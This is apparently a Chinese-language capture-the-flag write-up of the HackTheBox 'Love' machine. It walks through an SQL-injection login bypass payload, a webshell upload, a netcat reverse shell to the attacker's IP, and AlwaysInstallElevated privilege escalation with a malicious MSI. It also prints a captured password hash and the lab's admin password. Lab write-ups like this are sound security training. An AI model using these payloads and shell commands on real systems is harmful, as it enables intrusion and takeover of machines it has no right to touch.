Love Writeup

概述 (Overview)

image

kill date: 2021-08-07 机器作者: pwnmeow 困难程度: easy MACHINE TAGS: • Windows • CVE • SSRF • RCE • Web • Environment Misconfiguration • AppLocker Bypass

攻击链 (Kiillchain)

通过 Nmap 识别出目标服务器运行的服务,从 exploit-db 检索出 CVE 漏洞,利用 SQL 注入成功进入后台控制端页面。上传 webshell 得到一个 reverse shell 立足点。

使用 winPEAS 工具收集服务器信息,发现 AlwaysInstallElevated 开启。配合 Metasploit Framework 成功完成权限提升。

枚举(Enumeration)

老规矩还是 Nmap 起手,去识别目标服务器开发的端口及运行服务信息。

PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27) |_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27 |_http-title: Secure file scanner 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 443/tcp open ssl/http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27) |_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27 |_http-title: 403 Forbidden | ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in | Not valid before: 2021-01-18T14:00:16 |_Not valid after: 2022-01-18T14:00:16 |_ssl-date: TLS randomness does not represent time | tls-alpn: |_ http/1.1 445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROU P) 3306/tcp open mysql? | fingerprint-strings: | DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, HTTPOptions, Help, Kerberos, LDAPSearchReq, LPDString, RPCCheck, RTSPRequest, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServerCookie, X11Probe: |_ Host '10.10.16.2' is not allowed to connect to this MariaDB server 5000/tcp open http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27) |_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27 |_http-title: 403 Forbidden

从开放端口的指纹信息中能够获悉目标服务器是 Windows,在 443 端口中包含一个自定义的域名 staging.love.htb。

修改 /etc/hosts 文件后访问该 HTTPS 域名,看到了一个全新的 PHP 站。

image

Port 80 - Voting System

经过一番折腾后在 HTTPS 站中没有找到突破口,转而尝试寻找 HTTP 站点的漏洞。

image

通过 exploit-db 检索页面 title 信息,发现存在多个高危漏洞:

$ searchsploit Voting System Voting System 1.0 - Authentication Bypass (SQLI) | php/webapps/49843.txt Voting System 1.0 - File Upload RCE (Authenticated Remote Code Execution) | php/webapps/49445.py Voting System 1.0 - Remote Code Execution (Unauthenticated) | php/webapps/49846.txt Voting System 1.0 - Time based SQLI (Unauthenticated SQL injection) | php/webapps/49817.txt

立足点(Foothold)

简单选择 Authentication Bypass (SQLI) 进行验证,下载49843.txt 至本地,使用 burp 代理发送 payload :

login=yea&password=admin&username=dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -

image

这里存在一个差异,/login.php 页面与 /admin/login.php 展示是一样的,但前者并不存在该漏洞,仅在 /admin/login.php 页面生效。

如图所示,成功进入了目标系统的后台控制面板:

image

漏洞产生成因可以在 49843.txt 文件中很直观的看到:

image

随后查看 Remote Code Execution (Unauthenticated)也就是49846.txt 文件,里面包含了 webshell 上传的步骤。所以简单构建个测试 PHP 脚本进行文件上传:

<?php echo exec("whoami"); ?>

先要在 possible 页面中创建一个数据,用于下一个页面上传文件时的必填参数:

image

随后在 candidates 页面点击 New ,上传我们自定义的 PHP 脚本文件。

image

创建成功后直接访问路径,可以发现 PHP 脚本已经被正常执行。

image

注意到目标服务器 PHP 版本是 7,从网上随便找了个 PHP7 可以正常运行的 Webshell 进行上传。

https://raw.githubusercontent.com/KaizenLouie/C99Shell-PHP7/master/c99shell.php

image

查看 Webshell 运行正常,随后将 nc 通过 impacket-smbserver 传递至目标服务器:

image

执行如下命令完成 reverse shell:

copy \\10.10.16.3\share\nc64.exe C:\xampp\htdocs\omrs\images\nc.exe C:\xampp\htdocs\omrs\images\nc.exe 10.10.16.3 9900 -e cmd.exe

image

在 Phoebe 用户桌面下获得到 user flag:

image

权限提升(Privilege Escalation)

将 winPEAS 程序传递至 c:\Users\Phoebe\Downloads 目录,随后 CMD 执行:

...snip... Checking AlwaysInstallElevated https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#alwaysinstallelevated AlwaysInstallElevated set to 1 in HKLM! AlwaysInstallElevated set to 1 in HKCU! Logged users LOVE\Administrator LOVE\Phoebe Enumerating Security Packages Credentials Version: NetNTLMv2 Hash: Phoebe::LOVE:1122334455667788:20e51a8d32d4b2d85ee8d1f16d856ae2:0101000000000000cdcd241cb38bd701ba60ebea1234fc78000000000800300030000000000000000000000000200000c7feb52a9af533c44a1a9653e8d52b6cd2d9a8def4c45c6cb0ba513521461eb60a00100000000000000000000000000000000000090000000000000000000000 ...snip...

从得到的信息中可以看到 AlwaysInstallElevated 是开启的,简单的注册表提权了。这种情下,我们可以生成一个包含反向 Shell 的恶意 MSI 文件。

MSI 文件是用于安装应用程序的软件包文件。这些文件在尝试安装它们的用户权限下运行。Windows 允许这些安装程序以提升的(即 admin)特权运行。

最终在 Metasploit Framework 的配合下,完成最终的权限提升。

image

复盘

做完后再查看其他人的 Writeup 学习思路,发现其实 HTTPS 站存在 SSRF 的漏洞,触发点在 beta.php 页面的功能上。

image

当使用它加载目标服务器本地的 5000 端口时,会直接得到 HTTP 页面 admin 账号登录密码。

image

Vote Admin Creds admin: @LoveIsInTheAir!!!!

参考

  • https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#alwaysinstallelevated
  • https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery


版权声明

除非另有说明,本网站上的内容均根据 Creative Commons Attribution-ShareAlike License 4.0 International (CC BY-SA 4.0) 获得许可。